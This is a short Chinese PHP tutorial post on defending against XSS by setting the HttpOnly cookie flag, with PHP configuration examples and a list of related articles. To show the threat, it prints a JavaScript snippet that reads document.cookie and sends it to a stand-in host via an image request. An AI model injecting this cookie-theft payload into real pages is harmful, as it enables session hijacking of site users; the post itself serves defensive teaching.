xss防御之php利用httponly防xss攻击


Posted in PHP onMarch 21, 2014

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。

如下js获取cookie信息:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

一般cookie都是从document对象中获取的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了。

PHP设置HttpOnly

//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本的PHP通过:

header("Set-Cookie: hidden=value; httpOnly");

最后,HttpOnly不是万能的!

PHP 相关文章推荐
PHP4.04简明安装
Oct 09 PHP
dedecms中显示数字验证码的修改方法
Mar 21 PHP
php实现从ftp服务器上下载文件树到本地电脑的程序
Feb 10 PHP
九个你必须知道而且又很好用的php函数和特点
Aug 08 PHP
php检测iis环境是否支持htaccess的方法
Feb 18 PHP
PHP实现支持GET,POST,Multipart/form-data的HTTP请求类
Sep 24 PHP
php 伪造ip以及url来路信息方法汇总
Nov 25 PHP
php使用unset()删除数组中某个单元(键)的方法
Feb 17 PHP
详解WordPress中添加和执行动作的函数使用方法
Dec 29 PHP
PHP实现对图片的反色处理功能【测试可用】
Feb 01 PHP
PHPExcel 修改已存在Excel的方法
May 03 PHP
PHP实现提取多维数组指定一列的方法总结
Dec 04 PHP
php5.3 goto函数介绍和示例
Mar 21 #PHP
php ctype函数中文翻译和示例
Mar 21 #PHP
php的declare控制符和ticks教程(附示例)
Mar 21 #PHP
php像数组一样存取和修改字符串字符
Mar 21 #PHP
easyui的tabs update正确用法分享
Mar 21 #PHP
php设置session值和cookies的学习示例
Mar 21 #PHP
一个显示效果非常不错的PHP错误、异常处理类
Mar 21 #PHP
You might like
php addslashes及其他清除空格的方法是不安全的
2012/01/25 PHP
php cli换行示例
2014/04/22 PHP
php之Smarty模板使用方法示例详解
2014/07/08 PHP
PHP去掉json字符串中的反斜杠\及去掉双引号前的反斜杠
2015/09/30 PHP
thinkphp中字符截取函数msubstr()用法分析
2016/01/09 PHP
如何判断php mysqli扩展类是否开启
2016/12/24 PHP
php设计模式之观察者模式实例详解【星际争霸游戏案例】
2020/03/30 PHP
ASP.NET jQuery 实例7 通过jQuery来获取DropDownList的Text/Value属性值
2012/02/03 Javascript
jQuery实现 注册时选择阅读条款 左右移动
2013/04/11 Javascript
js 遍历json返回的map内容示例代码
2013/10/29 Javascript
利用jquery写的左右轮播图特效
2014/02/12 Javascript
JavaScript过滤字符串中的中文与空格方法汇总
2016/03/07 Javascript
jQuery实现邮箱下拉列表自动补全功能
2016/09/08 Javascript
详解Node.js:events事件模块
2016/11/24 Javascript
Webpack打包css后z-index被重新计算的解决方法
2017/06/18 Javascript
Popup弹出框添加数据实现方法
2017/10/27 Javascript
浅析vue中常见循环遍历指令的使用 v-for
2018/04/18 Javascript
js 图片转base64的方式(两种)
2018/04/24 Javascript
Vue项目History模式404问题解决方法
2018/10/31 Javascript
如何在Vue中使用CleaveJS格式化你的输入内容
2018/12/14 Javascript
详解JSON和JSONP劫持以及解决方法
2019/03/08 Javascript
微信小程序实现时间进度条功能
2020/11/17 Javascript
vuejs中父子组件之间通信方法实例详解
2020/01/17 Javascript
Python随机生成一个6位的验证码代码分享
2015/03/24 Python
python实现隐马尔科夫模型HMM
2018/03/25 Python
Python 实现两个服务器之间文件的上传方法
2019/02/13 Python
python自动提取文本中的时间(包含中文日期)
2020/08/31 Python
python3判断IP地址的方法
2021/03/04 Python
物流专业大学的自我评价
2014/01/11 职场文书
人力资源总监工作说明
2014/03/03 职场文书
梅花魂教学反思
2014/04/25 职场文书
2014年国庆节广播稿
2014/09/19 职场文书
企业年检委托书范本
2014/10/14 职场文书
医院党的群众路线教育实践活动学习心得体会
2014/10/30 职场文书
2014年绩效考核工作总结
2014/12/11 职场文书
《水浒传》读后感3篇(范文)
2019/09/19 职场文书